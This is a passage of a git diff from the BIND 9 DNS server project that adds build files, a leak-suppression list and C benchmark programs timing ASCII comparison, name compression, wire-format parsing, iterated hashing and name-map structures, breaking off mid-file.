+[AC_REQUIRE([PKG_PROG_PKG_CONFIG])dnl
+AC_ARG_VAR([$1], [version of $2, overriding pkg-config])dnl
+
+_PKG_CONFIG([$1], [modversion], [$2])
+AS_VAR_COPY([$1], [pkg_cv_][$1])
+
+AS_VAR_IF([$1], [""], [$4], [$3])dnl
+])dnl PKG_CHECK_VERSION
diff --git a/sonar-project.properties b/sonar-project.properties
new file mode 100644
index 0000000000..e88ed296d3
--- /dev/null
+++ b/sonar-project.properties
@@ -0,0 +1,2 @@
+sonar.projectKey=isc-projects_bind9
+sonar.organization=isc-projects
diff --git a/suppr-lsan.txt b/suppr-lsan.txt
new file mode 100644
index 0000000000..050b86e9ae
--- /dev/null
+++ b/suppr-lsan.txt
@@ -0,0 +1,26 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# These are known leaks in libp11.
+leak:BN_MONT_CTX_new
+leak:C_LoadModule
+leak:ctx_new
+leak:ctx_try_load_object
+leak:dlfcn_name_converter
+leak:EC_GROUP_set_seed
+leak:CRYPTO_strdup
+leak:CRYPTO_zalloc
+leak:pkcs11_check_token
+leak:pkcs11_CTX_new
+leak:pkcs11_enumerate_slots
+leak:pkcs11_getattr_alloc
+leak:pkcs11_init_key
+leak:pkcs11_strdup
diff --git a/tests/.gitignore b/tests/.gitignore
new file mode 100644
index 0000000000..78fe21f457
--- /dev/null
+++ b/tests/.gitignore
@@ -0,0 +1 @@
+/unit-test-driver.sh
diff --git a/tests/Makefile.am b/tests/Makefile.am
new file mode 100644
index 0000000000..9e27f39289
--- /dev/null
+++ b/tests/Makefile.am
@@ -0,0 +1,21 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)	\
+	$(LIBNS_CFLAGS)		\
+	$(LIBUV_CFLAGS)		\
+	-I$(top_srcdir)/lib/isc
+
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBDNS_LIBS)		\
+	$(LIBNS_LIBS)
+
+SUBDIRS = libtest
+
+if HAVE_CMOCKA
+SUBDIRS += isc dns ns isccfg irs bench
+endif HAVE_CMOCKA
+
+check_PROGRAMS =
diff --git a/tests/bench/.gitignore b/tests/bench/.gitignore
new file mode 100644
index 0000000000..9f93506f12
--- /dev/null
+++ b/tests/bench/.gitignore
@@ -0,0 +1,8 @@
+/ascii
+/compress
+/iterated_hash
+/dns_name_fromwire
+/load-names
+/qp-dump
+/qpmulti
+/siphash
diff --git a/tests/bench/Makefile.am b/tests/bench/Makefile.am
new file mode 100644
index 0000000000..3b2bd54f31
--- /dev/null
+++ b/tests/bench/Makefile.am
@@ -0,0 +1,35 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CFLAGS += -Wno-vla
+
+AM_CPPFLAGS +=				\
+	$(LIBUV_CFLAGS)			\
+	$(LIBURCU_CFLAGS)		\
+	$(LIBISC_CFLAGS)		\
+	$(LIBDNS_CFLAGS)		\
+	-I$(top_srcdir)/fuzz		\
+	-I$(top_srcdir)/lib/dns		\
+	-I$(top_srcdir)/lib/isc		\
+	-I$(top_srcdir)/tests/include
+
+LDADD +=				\
+	$(LIBUV_LIBS)			\
+	$(LIBURCU_LIBS)			\
+	$(LIBISC_LIBS)			\
+	$(LIBDNS_LIBS)			\
+	$(top_builddir)/tests/libtest/libtest.la
+
+noinst_PROGRAMS =			\
+	ascii				\
+	compress			\
+	dns_name_fromwire		\
+	iterated_hash			\
+	load-names			\
+	qp-dump				\
+	qpmulti				\
+	siphash
+
+dns_name_fromwire_SOURCES =		\
+	$(top_builddir)/fuzz/old.c	\
+	$(top_builddir)/fuzz/old.h	\
+	dns_name_fromwire.c
diff --git a/tests/bench/ascii.c b/tests/bench/ascii.c
new file mode 100644
index 0000000000..e2123cb294
--- /dev/null
+++ b/tests/bench/ascii.c
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+
+#include <isc/ascii.h>
+#include <isc/random.h>
+#include <isc/time.h>
+
+#define SIZE (1024 * 1024)
+
+typedef void
+copy_fn(void *a, void *b, unsigned int len);
+
+static void
+time_it(copy_fn *copier, void *a, void *b, const char *name) {
+	isc_time_t start;
+	start = isc_time_now_hires();
+
+	copier(a, b, SIZE);
+
+	isc_time_t finish;
+	finish = isc_time_now_hires();
+
+	uint64_t microseconds = isc_time_microdiff(&finish, &start);
+	printf("%f for %s\n", (double)microseconds / 1000000.0, name);
+}
+
+static void
+copy_raw(void *a, void *b, unsigned int size) {
+	memmove(a, b, size);
+}
+
+static void
+copy_toupper(void *va, void *vb, unsigned int size) {
+	uint8_t *a = va, *b = vb;
+	while (size-- > 0) {
+		*a++ = isc_ascii_toupper(*b++);
+	}
+}
+
+static void
+copy_tolower8(void *a, void *b, unsigned int size) {
+	isc_ascii_lowercopy(a, b, size);
+}
+
+#define TOLOWER(c) ((c) + ('a' - 'A') * (((c) >= 'A') ^ ((c) > 'Z')))
+
+static void
+copy_tolower1(void *va, void *vb, unsigned int size) {
+	for (uint8_t *a = va, *b = vb; size-- > 0; a++, b++) {
+		*a = TOLOWER(*b);
+	}
+}
+
+static bool
+cmp_tolower1(void *va, void *vb, unsigned int size) {
+	for (uint8_t *a = va, *b = vb; size-- > 0; a++, b++) {
+		if (TOLOWER(*a) != TOLOWER(*b)) {
+			return false;
+		}
+	}
+	return true;
+}
+
+static bool oldskool_result;
+
+static void
+cmp_oldskool(void *va, void *vb, unsigned int size) {
+	uint8_t *a = va, *b = vb, c;
+
+	while (size > 3) {
+		c = isc_ascii_tolower(a[0]);
+		if (c != isc_ascii_tolower(b[0])) {
+			goto diff;
+		}
+		c = isc_ascii_tolower(a[1]);
+		if (c != isc_ascii_tolower(b[1])) {
+			goto diff;
+		}
+		c = isc_ascii_tolower(a[2]);
+		if (c != isc_ascii_tolower(b[2])) {
+			goto diff;
+		}
+		c = isc_ascii_tolower(a[3]);
+		if (c != isc_ascii_tolower(b[3])) {
+			goto diff;
+		}
+		size -= 4;
+		a += 4;
+		b += 4;
+	}
+	while (size-- > 0) {
+		c = isc_ascii_tolower(*a++);
+		if (c != isc_ascii_tolower(*b++)) {
+			goto diff;
+		}
+	}
+	oldskool_result = true;
+	return;
+diff:
+	oldskool_result = false;
+	return;
+}
+
+static bool tolower1_result;
+
+static void
+vcmp_tolower1(void *a, void *b, unsigned int size) {
+	tolower1_result = cmp_tolower1(a, b, size);
+}
+
+static bool swar_result;
+
+static void
+cmp_swar(void *a, void *b, unsigned int size) {
+	swar_result = isc_ascii_lowerequal(a, b, size);
+}
+
+static bool chunk_result;
+static unsigned int chunk_size;
+
+static void
+cmp_chunks1(void *va, void *vb, unsigned int size) {
+	uint8_t *a = va, *b = vb;
+
+	chunk_result = false;
+	while (size >= chunk_size) {
+		if (!cmp_tolower1(a, b, chunk_size)) {
+			return;
+		}
+		size -= chunk_size;
+		a += chunk_size;
+		b += chunk_size;
+	}
+	chunk_result = cmp_tolower1(a, b, size);
+}
+
+static void
+cmp_chunks8(void *va, void *vb, unsigned int size) {
+	uint8_t *a = va, *b = vb;
+
+	while (size >= chunk_size) {
+		if (!isc_ascii_lowerequal(a, b, chunk_size)) {
+			goto diff;
+		}
+		size -= chunk_size;
+		a += chunk_size;
+		b += chunk_size;
+	}
+	chunk_result = isc_ascii_lowerequal(a, b, size);
+	return;
+diff:
+	chunk_result = false;
+	return;
+}
+
+static void
+cmp_oldchunks(void *va, void *vb, unsigned int size) {
+	uint8_t *a = va, *b = vb;
+
+	while (size >= chunk_size) {
+		cmp_oldskool(a, b, chunk_size);
+		if (!oldskool_result) {
+			return;
+		}
+		size -= chunk_size;
+		a += chunk_size;
+		b += chunk_size;
+	}
+	cmp_oldskool(a, b, size);
+}
+
+int
+main(void) {
+	static uint8_t bytes[SIZE];
+
+	isc_random_buf(bytes, SIZE);
+
+	static uint8_t raw_dest[SIZE];
+	time_it(copy_raw, raw_dest, bytes, "memmove");
+
+	static uint8_t toupper_dest[SIZE];
+	time_it(copy_toupper, toupper_dest, bytes, "toupper");
+
+	static uint8_t tolower1_dest[SIZE];
+	time_it(copy_tolower1, tolower1_dest, bytes, "tolower1");
+
+	static uint8_t tolower8_dest[SIZE];
+	time_it(copy_tolower8, tolower8_dest, bytes, "tolower8");
+
+	time_it(cmp_oldskool, toupper_dest, tolower1_dest, "oldskool");
+	printf("-> %s\n", oldskool_result ? "same" : "WAT");
+
+	time_it(vcmp_tolower1, tolower1_dest, tolower8_dest, "tolower1");
+	printf("-> %s\n", tolower1_result ? "same" : "WAT");
+
+	time_it(cmp_swar, toupper_dest, tolower8_dest, "swar");
+	printf("-> %s\n", swar_result ? "same" : "WAT");
+
+	for (chunk_size = 3; chunk_size <= 15; chunk_size += 2) {
+		time_it(cmp_chunks1, toupper_dest, raw_dest, "chunks1");
+		printf("%u -> %s\n", chunk_size, chunk_result ? "same" : "WAT");
+		time_it(cmp_chunks8, toupper_dest, raw_dest, "chunks8");
+		printf("%u -> %s\n", chunk_size, chunk_result ? "same" : "WAT");
+		time_it(cmp_oldchunks, toupper_dest, raw_dest, "oldchunks");
+		printf("%u -> %s\n", chunk_size,
+		       oldskool_result ? "same" : "WAT");
+	}
+}
diff --git a/tests/bench/compress.c b/tests/bench/compress.c
new file mode 100644
index 0000000000..88c25f4d90
--- /dev/null
+++ b/tests/bench/compress.c
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+#include <err.h>
+#include <errno.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <isc/buffer.h>
+#include <isc/mem.h>
+#include <isc/result.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include <dns/compress.h>
+#include <dns/fixedname.h>
+#include <dns/name.h>
+
+static void
+CHECKRESULT(isc_result_t result, const char *msg) {
+	if (result != ISC_R_SUCCESS) {
+		printf("%s: %s\n", msg, isc_result_totext(result));
+		exit(1);
+	}
+}
+
+int
+main(void) {
+	isc_result_t result;
+	isc_buffer_t buf;
+
+	isc_mem_t *mctx = NULL;
+	isc_mem_create(&mctx);
+
+	static dns_fixedname_t fixedname[65536];
+	unsigned int count = 0;
+
+	char *line = NULL;
+	size_t linecap = 0;
+	ssize_t linelen;
+	while ((linelen = getline(&line, &linecap, stdin)) > 0) {
+		if (line[linelen - 1] == '\n') {
+			line[--linelen] = '\0';
+		}
+		isc_buffer_init(&buf, line, linelen);
+		isc_buffer_add(&buf, linelen);
+
+		if (count == ARRAY_SIZE(fixedname)) {
+			errx(1, "too many names");
+		}
+		dns_name_t *name = dns_fixedname_initname(&fixedname[count++]);
+		result = dns_name_fromtext(name, &buf, dns_rootname, 0, NULL);
+		CHECKRESULT(result, line);
+	}
+
+	unsigned int repeat = 100;
+
+	isc_time_t start;
+	start = isc_time_now_hires();
+
+	for (unsigned int n = 0; n < repeat; n++) {
+		static uint8_t wire[4 * 1024];
+		dns_compress_t cctx;
+
+		isc_buffer_init(&buf, wire, sizeof(wire));
+		dns_compress_init(&cctx, mctx, 0);
+
+		for (unsigned int i = 0; i < count; i++) {
+			dns_name_t *name = dns_fixedname_name(&fixedname[i]);
+			result = dns_name_towire(name, &cctx, &buf, NULL);
+			if (result == ISC_R_NOSPACE) {
+				dns_compress_invalidate(&cctx);
+				dns_compress_init(&cctx, mctx, 0);
+				isc_buffer_init(&buf, wire, sizeof(wire));
+			} else {
+				CHECKRESULT(result, "dns_name_towire");
+			}
+		}
+		dns_compress_invalidate(&cctx);
+	}
+
+	isc_time_t finish;
+	finish = isc_time_now_hires();
+
+	uint64_t microseconds = isc_time_microdiff(&finish, &start);
+	printf("time %f / %u\n", (double)microseconds / 1000000.0, repeat);
+
+	printf("names %u\n", count);
+
+	isc_mem_destroy(&mctx);
+
+	return (0);
+}
diff --git a/tests/bench/dns_name_fromwire.c b/tests/bench/dns_name_fromwire.c
new file mode 100644
index 0000000000..f89c0cebd1
--- /dev/null
+++ b/tests/bench/dns_name_fromwire.c
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <isc/ascii.h>
+#include <isc/buffer.h>
+#include <isc/random.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include <dns/compress.h>
+#include <dns/fixedname.h>
+#include <dns/name.h>
+
+#include "old.h"
+
+static uint32_t
+old_bench(const uint8_t *data, size_t size) {
+	isc_result_t result;
+	dns_fixedname_t fixed;
+	dns_name_t *name = dns_fixedname_initname(&fixed);
+	dns_decompress_t dctx = DNS_DECOMPRESS_PERMITTED;
+	isc_buffer_t buf;
+	uint32_t count = 0;
+
+	isc_buffer_constinit(&buf, data, size);
+	isc_buffer_add(&buf, size);
+	isc_buffer_setactive(&buf, size);
+
+	while (isc_buffer_consumedlength(&buf) < size) {
+		result = old_name_fromwire(name, &buf, dctx, 0, NULL);
+		if (result != ISC_R_SUCCESS) {
+			isc_buffer_forward(&buf, 1);
+		}
+		count++;
+	}
+	return (count);
+}
+
+static uint32_t
+new_bench(const uint8_t *data, size_t size) {
+	isc_result_t result;
+	dns_fixedname_t fixed;
+	dns_name_t *name = dns_fixedname_initname(&fixed);
+	dns_decompress_t dctx = DNS_DECOMPRESS_PERMITTED;
+	isc_buffer_t buf;
+	uint32_t count = 0;
+
+	isc_buffer_constinit(&buf, data, size);
+	isc_buffer_add(&buf, size);
+	isc_buffer_setactive(&buf, size);
+
+	while (isc_buffer_consumedlength(&buf) < size) {
+		result = dns_name_fromwire(name, &buf, dctx, NULL);
+		if (result != ISC_R_SUCCESS) {
+			isc_buffer_forward(&buf, 1);
+		}
+		count++;
+	}
+	return (count);
+}
+
+static void
+oldnew_bench(const uint8_t *data, size_t size) {
+	isc_time_t t0;
+	t0 = isc_time_now_hires();
+	uint32_t n1 = old_bench(data, size);
+	isc_time_t t1;
+	t1 = isc_time_now_hires();
+	uint32_t n2 = new_bench(data, size);
+	isc_time_t t2;
+	t2 = isc_time_now_hires();
+
+	double t01 = (double)isc_time_microdiff(&t1, &t0);
+	double t12 = (double)isc_time_microdiff(&t2, &t1);
+	printf("  old %u / %f ms; %f / us\n", n1, t01 / 1000.0, n1 / t01);
+	printf("  new %u / %f ms; %f / us\n", n2, t12 / 1000.0, n2 / t12);
+	printf("  old/new %f or %f\n", t01 / t12, t12 / t01);
+}
+
+#define NAMES 1000
+static uint8_t buf[1024 * NAMES];
+
+int
+main(void) {
+	unsigned int p;
+
+	printf("random buffer\n");
+	isc_random_buf(buf, sizeof(buf));
+	oldnew_bench(buf, sizeof(buf));
+
+	p = 0;
+	for (unsigned int name = 0; name < NAMES; name++) {
+		unsigned int start = p;
+		unsigned int prev = p;
+		buf[p++] = 0;
+		for (unsigned int label = 0; label < 127; label++) {
+			unsigned int ptr = prev - start;
+			prev = p;
+			buf[p++] = 1;
+			buf[p++] = 'a';
+			buf[p++] = 0xC0 | (ptr >> 8);
+			buf[p++] = 0xFF & ptr;
+		}
+	}
+	printf("127 compression pointers\n");
+	oldnew_bench(buf, p);
+
+	p = 0;
+	for (unsigned int name = 0; name < NAMES; name++) {
+		for (unsigned int label = 0; label < 127; label++) {
+			buf[p++] = 1;
+			buf[p++] = 'a';
+		}
+		buf[p++] = 0;
+	}
+	printf("127 sequential labels\n");
+	oldnew_bench(buf, p);
+
+	p = 0;
+	for (unsigned int name = 0; name < NAMES; name++) {
+		for (unsigned int label = 0; label < 4; label++) {
+			buf[p++] = 62;
+			for (unsigned int c = 0; c < 62; c++) {
+				buf[p++] = 'a';
+			}
+		}
+		buf[p++] = 0;
+	}
+	printf("4 long sequential labels\n");
+	oldnew_bench(buf, p);
+}
diff --git a/tests/bench/iterated_hash.c b/tests/bench/iterated_hash.c
new file mode 100644
index 0000000000..7d11c93a4c
--- /dev/null
+++ b/tests/bench/iterated_hash.c
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+
+#include <isc/iterated_hash.h>
+#include <isc/random.h>
+#include <isc/time.h>
+
+#include <dns/name.h>
+
+static void
+time_it(const int count, const int iterations, const unsigned char *salt,
+	const int saltlen, const unsigned char *in, const int inlen) {
+	uint8_t out[NSEC3_MAX_HASH_LENGTH] = { 0 };
+	isc_time_t start, finish;
+
+	printf("%d iterations, %d salt length, %d input length: ", iterations,
+	       saltlen, inlen);
+	fflush(stdout);
+
+	start = isc_time_now_hires();
+
+	int i = 0;
+	while (i++ < count) {
+		isc_iterated_hash(out, 1, iterations, salt, saltlen, in, inlen);
+	}
+
+	finish = isc_time_now_hires();
+
+	uint64_t microseconds = isc_time_microdiff(&finish, &start);
+	printf("%0.2f us per iterated_hash()\n", (double)microseconds / count);
+	fflush(stdout);
+}
+
+int
+main(void) {
+	uint8_t salt[DNS_NAME_MAXWIRE];
+	uint8_t in[DNS_NAME_MAXWIRE];
+	size_t saltlen = sizeof(salt);
+	size_t inlen = sizeof(in);
+
+	isc_random_buf(salt, saltlen);
+	isc_random_buf(in, inlen);
+
+	time_it(10000, 150, salt, saltlen, in, inlen);
+	time_it(10000, 15, salt, saltlen, in, inlen);
+	time_it(10000, 0, salt, saltlen, in, inlen);
+
+	saltlen = 32;
+	inlen = 32;
+
+	time_it(10000, 150, salt, 32, in, inlen);
+	time_it(10000, 15, salt, 32, in, inlen);
+	time_it(10000, 0, salt, saltlen, in, inlen);
+
+	saltlen = 0;
+	inlen = 1;
+
+	time_it(10000, 150, salt, 32, in, inlen);
+	time_it(10000, 15, salt, 32, in, inlen);
+	time_it(10000, 0, salt, saltlen, in, inlen);
+}
diff --git a/tests/bench/load-names.c b/tests/bench/load-names.c
new file mode 100644
index 0000000000..2a26b03752
--- /dev/null
+++ b/tests/bench/load-names.c
@@ -0,0 +1,600 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <stdlib.h>
+
+#include <isc/barrier.h>
+#include <isc/file.h>
+#include <isc/hashmap.h>
+#include <isc/ht.h>
+#include <isc/list.h>
+#include <isc/rwlock.h>
+#include <isc/thread.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/qp.h>
+#include <dns/rbt.h>
+#include <dns/types.h>
+
+#include "qp_p.h"
+
+#include <tests/dns.h>
+#include <tests/qp.h>
+
+struct item_s {
+	const char *text;
+	dns_fixedname_t fixed;
+	struct cds_lfht_node ht_node;
+} item[1024 * 1024];
+
+isc_barrier_t barrier;
+isc_rwlock_t rwl;
+
+struct thread_s {
+	isc_thread_t thread;
+	struct fun *fun;
+	void *map;
+	size_t start;
+	size_t end;
+	uint64_t d0;
+	uint64_t d1;
+} threads[1024];
+
+static void
+item_check(void *ctx, void *pval, uint32_t ival) {
+	UNUSED(ctx);
+	assert(pval == &item[ival]);
+}
+
+static size_t
+item_makekey(dns_qpkey_t key, void *ctx, void *pval, uint32_t ival) {
+	UNUSED(ctx);
+	assert(pval == &item[ival]);
+	return (dns_qpkey_fromname(key, &item[ival].fixed.name));
+}
+
+static void
+testname(void *ctx, char *buf, size_t size) {
+	REQUIRE(ctx == NULL);
+	strlcpy(buf, "test", size);
+}
+
+const dns_qpmethods_t qpmethods = {
+	item_check,
+	item_check,
+	item_makekey,
+	testname,
+};
+
+#define CHECK(count, result)                                        \
+	do {                                                        \
+		if (result != ISC_R_SUCCESS) {                      \
+			dns_name_t *name = &item[count].fixed.name; \
+			char buf[DNS_NAME_MAXTEXT] = { 0 };         \
+			dns_name_format(name, buf, sizeof(buf));    \
+			fprintf(stderr, "%s: %s\n", buf,            \
+				isc_result_totext(result));         \
+			exit(1);                                    \
+		}                                                   \
+	} while (0)
+
+struct fun {
+	const char *name;
+	void *(*new)(isc_mem_t *mem);
+	isc_threadfunc_t thread;
+};
+
+/*
+ * cds_lfht
+ */
+
+static void *
+new_lfht(isc_mem_t *mem ISC_ATTR_UNUSED) {
+	struct cds_lfht *lfht = cds_lfht_new(
+		1, 1, 0, CDS_LFHT_AUTO_RESIZE | CDS_LFHT_ACCOUNTING, NULL);
+	return (lfht);
+}
+
+static int
+lfht_match(struct cds_lfht_node *ht_node, const void *_key) {
+	const struct item_s *i = caa_container_of(ht_node, struct item_s,
+						  ht_node);
+	const dns_name_t *key = _key;
+
+	return (dns_name_equal(key, &i->fixed.name));
+}
+
+static isc_result_t
+add_lfht(void *lfht, size_t count) {
+	unsigned long hash = dns_name_hash(&item[count].fixed.name);
+
+	struct cds_lfht_node *ht_node = cds_lfht_add_unique(
+		lfht, hash, lfht_match, &item[count].fixed.name,
+		&item[count].ht_node);
+
+	if (ht_node != &item[count].ht_node) {
+		return (ISC_R_EXISTS);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+get_lfht(void *lfht, size_t count, void **pval) {
+	unsigned long hash = dns_name_hash(&item[count].fixed.name);
+
+	struct cds_lfht_iter iter;
+	cds_lfht_lookup(lfht, hash, lfht_match, &item[count].fixed.name, &iter);
+
+	struct cds_lfht_node *ht_node = cds_lfht_iter_get_node(&iter);
+	if (ht_node == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	*pval = caa_container_of(ht_node, struct item_s, ht_node);
+	return (ISC_R_SUCCESS);
+}
+
+static void *
+thread_lfht(void *arg0) {
+	struct thread_s *arg = arg0;
+
+	isc_barrier_wait(&barrier);
+
+	isc_time_t t0 = isc_time_now_hires();
+	for (size_t n = arg->start; n < arg->end; n++) {
+		isc_result_t result = add_lfht(arg->map, n);
+		CHECK(n, result);
+	}
+
+	isc_time_t t1 = isc_time_now_hires();
+	for (size_t n = arg->start; n < arg->end; n++) {
+		void *pval = NULL;
+		isc_result_t result = get_lfht(arg->map, n, &pval);
+		CHECK(n, result);
+		assert(pval == &item[n]);
+	}
+
+	isc_time_t t2 = isc_time_now_hires();
+
+	arg->d0 = isc_time_microdiff(&t1, &t0);
+	arg->d1 = isc_time_microdiff(&t2, &t1);
+
+	return (NULL);
+}
+
+/*
+ * hashmap
+ */
+
+static void *
+new_hashmap(isc_mem_t *mem) {
+	isc_hashmap_t *hashmap = NULL;
+	isc_hashmap_create(mem, 1, 0, &hashmap);
+
+	return (hashmap);
+}
+
+static isc_result_t
+add_hashmap(void *hashmap, size_t count) {
+	isc_result_t result =
+		isc_hashmap_add(hashmap, NULL, item[count].fixed.name.ndata,
+				item[count].fixed.name.length, &item[count]);
+	return (result);
+}
+
+static isc_result_t
+get_hashmap(void *hashmap, size_t count, void **pval) {
+	isc_result_t result =
+		isc_hashmap_find(hashmap, NULL, item[count].fixed.name.ndata,
+				 item[count].fixed.name.length, pval);
+	return (result);
+}
+
+static void *
+thread_hashmap(void *arg0) {
+	struct thread_s *arg = arg0;
+
+	isc_barrier_wait(&barrier);
+
+	isc_time_t t0 = isc_time_now_hires();
+	WRLOCK(&rwl);
+	for (size_t n = arg->start; n < arg->end; n++) {
+		isc_result_t result = add_hashmap(arg->map, n);
+		CHECK(n, result);
+	}
+	WRUNLOCK(&rwl);
+
+	isc_time_t t1 = isc_time_now_hires();
+	RDLOCK(&rwl);
+	for (size_t n = arg->start; n < arg->end; n++) {
+		void *pval = NULL;
+		isc_result_t result = get_hashmap(arg->map, n, &pval);
+		CHECK(n, result);
+		assert(pval == &item[n]);
+	}
+	RDUNLOCK(&rwl);
+	isc_time_t t2 = isc_time_now_hires();
+
+	arg->d0 = isc_time_microdiff(&t1, &t0);
+	arg->d1 = isc_time_microdiff(&t2, &t1);
+
+	return (NULL);
+}
+
+/*
+ * ht
+ */
+
+static void *
+new_ht(isc_mem_t *mem) {
+	isc_ht_t *ht = NULL;
+	isc_ht_init(&ht, mem, 1, 0);
+	return (ht);
+}
+
+static isc_result_t
+add_ht(void *ht, size_t count) {
+	isc_result_t result = isc_ht_add(ht, item[count].fixed.name.ndata,
+					 item[count].fixed.name.length,
+					 &item[count]);
+	return (result);
+}
+
+static isc_result_t
+get_ht(void *ht, size_t count, void **pval) {
+	isc_result_t result = isc_ht_find(ht, item[count].fixed.name.ndata,
+					  item[count].fixed.name.length, pval);
+	return (result);
+}
+
+static void *
+thread_ht(void *arg0) {
+	struct thread_s *arg = arg0;
+
+	isc_barrier_wait(&barrier);
+
+	isc_time_t t0 = isc_time_now_hires();
+	WRLOCK(&rwl);
+	for (size_t n = arg->start; n < arg->end; n++) {
+		isc_result_t result = add_ht(arg->map, n);
+		CHECK(n, result);
+	}
+	WRUNLOCK(&rwl);
+
+	isc_time_t t1 = isc_time_now_hires();
+	RDLOCK(&rwl);
+	for (size_t n = arg->start; n < arg->end; n++) {
+		void *pval = NULL;
+		isc_result_t result = get_ht(arg->map, n, &pval);
+		CHECK(n, result);
+		assert(pval == &item[n]);
+	}
+	RDUNLOCK(&rwl);
+	isc_time_t t2 = isc_time_now_hires();
+
+	arg->d0 = isc_time_microdiff(&t1, &t0);
+	arg->d1 = isc_time_microdiff(&t2, &t1);
+
+	return (NULL);
+}
+
+/*
+ * rbt
+ */
+
+static void *
+new_rbt(isc_mem_t *mem) {
+	dns_rbt_t *rbt = NULL;
+	(void)dns_rbt_create(mem, NULL, NULL, &rbt);
+	return (rbt);
+}
+
+static isc_result_t
+add_rbt(void *rbt, size_t count) {
+	isc_result_t result = dns_rbt_addname(rbt, &item[count].fixed.name,
+					      &item[count]);
+	return (result);
+}
+
+static isc_result_t
+get_rbt(void *rbt, size_t count, void **pval) {
+	isc_result_t result = dns_rbt_findname(rbt, &item[count].fixed.name, 0,
+					       NULL, pval);
+	return (result);
+}
+
+static void *
+thread_rbt(void *arg0) {
+	struct thread_s *arg = arg0;
+
+	isc_barrier_wait(&barrier);
+
+	isc_time_t t0 = isc_time_now_hires();
+	WRLOCK(&rwl);
+	for (size_t n = arg->start; n < arg->end; n++) {
+		isc_result_t result = add_rbt(arg->map, n);
+		CHECK(n, result);
+	}
+	WRUNLOCK(&rwl);
+
+	isc_time_t t1 = isc_time_now_hires();
+	RDLOCK(&rwl);
+	for (size_t n = arg->start; n < arg->end; n++) {
+		void *pval = NULL;
+		isc_result_t result = get_rbt(arg->map, n, &pval);
+		CHECK(n, result);
+		assert(pval == &item[n]);
+	}
+	RDUNLOCK(&rwl);
+
+	isc_time_t t2 = isc_time_now_hires();
+
+	arg->d0 = isc_time_microdiff(&t1, &t0);
+	arg->d1 = isc_time_microdiff(&t2, &t1);
+
+	return (NULL);
+}
+
+/*
+ * qp
+ */
+
+static void *
+new_qp(isc_mem_t *mem) {
+	dns_qpmulti_t *qpmulti = NULL;
+	dns_qpmulti_create(mem, &qpmethods, NULL, &qpmulti);
+	return (qpmulti);
+}
+
+static isc_result_t
+add_qp(void *qp, size_t count) {
+	isc_result_t result = dns_qp_insert(qp, &item[count], count);
+	return (result);
+}
+
+static void
+sqz_qp(void *qp) {
+	dns_qp_compact(qp, DNS_QPGC_ALL);
+}
+
+static isc_result_t
+get_qp(void *qp, size_t count, void **pval) {
+	return (dns_qp_getname(qp, &item[count].fixed.name, pval, NULL));
+}
+
+static void *
+_thread_qp(void *arg0, bool sqz, bool brr) {
+	struct thread_s *arg = arg0;
+
+	isc_barrier_wait(&barrier);
+
+	dns_qp_t *qp = NULL;
+	dns_qpmulti_write(arg->map, &qp);
+
+	isc_time_t t0 = isc_time_now_hires();
+	for (size_t n = arg->start; n < arg->end; n++) {
+		isc_result_t result = add_qp(qp, n);
+		CHECK(n, result);
+	}
+	if (sqz) {
+		sqz_qp(qp);
+	}
+	dns_qpmulti_commit(arg->map, &qp);
+	if (brr) {
